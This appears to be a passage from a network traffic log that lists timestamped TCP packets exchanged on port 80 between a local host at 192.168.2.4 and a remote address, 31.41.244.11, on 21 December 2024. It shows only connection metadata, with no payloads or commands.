Dec 21, 2024 18:16:35.325936079 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.326016903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.326061010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.327096939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.327136993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.327162027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.327202082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.328274012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.328320026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.328363895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.328408003 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.329586983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.329632044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.329669952 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.329713106 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.330626965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.330676079 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.330745935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.330789089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.332004070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.332050085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.332098961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.332140923 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.333056927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.333097935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.333199024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.333240986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.334183931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.334227085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.334270954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.334315062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.335341930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.335414886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.335438967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.335455894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.336532116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.336585999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.336618900 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.336663961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.337733030 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.337788105 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.337832928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.337883949 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.338912964 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.338970900 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.339095116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.339144945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.340293884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.340322971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.340363026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.340399027 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.341219902 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.341267109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.341319084 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.341362000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.342375994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.342422962 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.342515945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.342570066 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.343609095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.343657017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.343699932 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.343740940 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.344805002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.344850063 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.475902081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.475927114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.475953102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.475969076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.476404905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.476423025 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.476449013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.476459026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.477473021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.477519989 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.477576017 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.477617979 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.478626013 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.478665113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.478732109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.478773117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.479860067 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.479907990 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.479929924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.479969025 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.480981112 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.481025934 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.481136084 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.481189013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.482203007 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.482248068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.482270002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.482306957 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.483369112 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.483412027 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.483458042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.483500004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.484532118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.484581947 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.484657049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.484697104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.485693932 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.485738039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.485794067 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.485829115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.486926079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.486968040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.487025023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.487062931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.488133907 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.488173962 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.488219976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.488262892 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.489222050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.489272118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.489341974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.489382029 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.490416050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.490458965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.490581036 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.490611076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.491578102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.491624117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.491714954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.491745949 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.492845058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.492882013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.492918015 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.492961884 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.494044065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.494087934 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.494162083 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.494200945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.495543957 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.495594978 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.495662928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.495703936 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.496714115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.496762991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.496870041 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.496911049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.497718096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.497771025 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.497821093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.497862101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.498714924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.498764992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.498790026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.498831034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.499855042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.499908924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.499952078 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.499994040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.501190901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.501238108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.501295090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.501332045 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.502337933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.502373934 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.502497911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.502542019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.503635883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.503678083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.503825903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.503869057 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.505477905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.505525112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.505557060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.505593061 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.506366968 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.506407976 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.506431103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.506473064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.507137060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.507230043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.507278919 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.507306099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.508101940 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.508147955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.508260965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.508305073 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.509269953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.509310007 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.509361029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.509401083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.510454893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.510504007 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.510566950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.510612011 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.511639118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.511679888 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.511709929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.511754036 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.512867928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.512912989 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.512959957 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.513005018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.513993979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.514031887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.514060020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.514103889 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.515225887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.515273094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.515391111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.515434027 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.516371965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.516417980 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.516452074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.516496897 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.517683029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.517735004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.517944098 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.518165112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.518771887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.518800974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.518819094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.518851995 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.519891977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.519943953 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.520015955 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.520091057 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.521059990 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.521107912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.521241903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.521302938 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.522233963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.522279024 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.522351027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.522397041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.523431063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.523479939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.523564100 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.523688078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.524600029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.524681091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.524728060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.524791956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.525793076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.525846958 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.525897026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.525985956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.526945114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.526997089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.527030945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.527098894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.528136015 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.528182030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.528234959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.528381109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.529314995 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.529364109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.529459953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.529508114 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.530479908 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.530531883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.530602932 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.530654907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.531697035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.531750917 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.531831980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.532108068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.532860041 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.532912970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.532968044 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.533070087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.534015894 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.534065008 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.534130096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.534179926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.535217047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.535269022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.535382032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.535430908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.536484957 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.536535978 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.536573887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.536705971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.537533045 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.537620068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.668107033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.668133974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.668217897 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.668498039 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.668520927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.668570042 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.669297934 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.669342041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.669357061 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.670474052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.670516968 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.670578003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.671767950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.671799898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.671817064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.671854019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.672878981 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.672898054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.672939062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.674027920 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.674201012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.674242973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.675230026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.675272942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.675365925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.676454067 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.676496983 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.676523924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.677359104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.677606106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.677834988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.677885056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.678863049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.679035902 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.679080963 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.680030107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.680077076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.680123091 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.681096077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.681142092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.681260109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.682254076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.682324886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.682353020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.682400942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.683460951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.683741093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.683789968 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.684627056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.684734106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.684779882 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.686119080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.686330080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.686372995 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.687624931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.687669992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.687737942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.688744068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.688791037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.688841105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.689327002 CET	49826	80	192.168.2.4	31.41.244.11
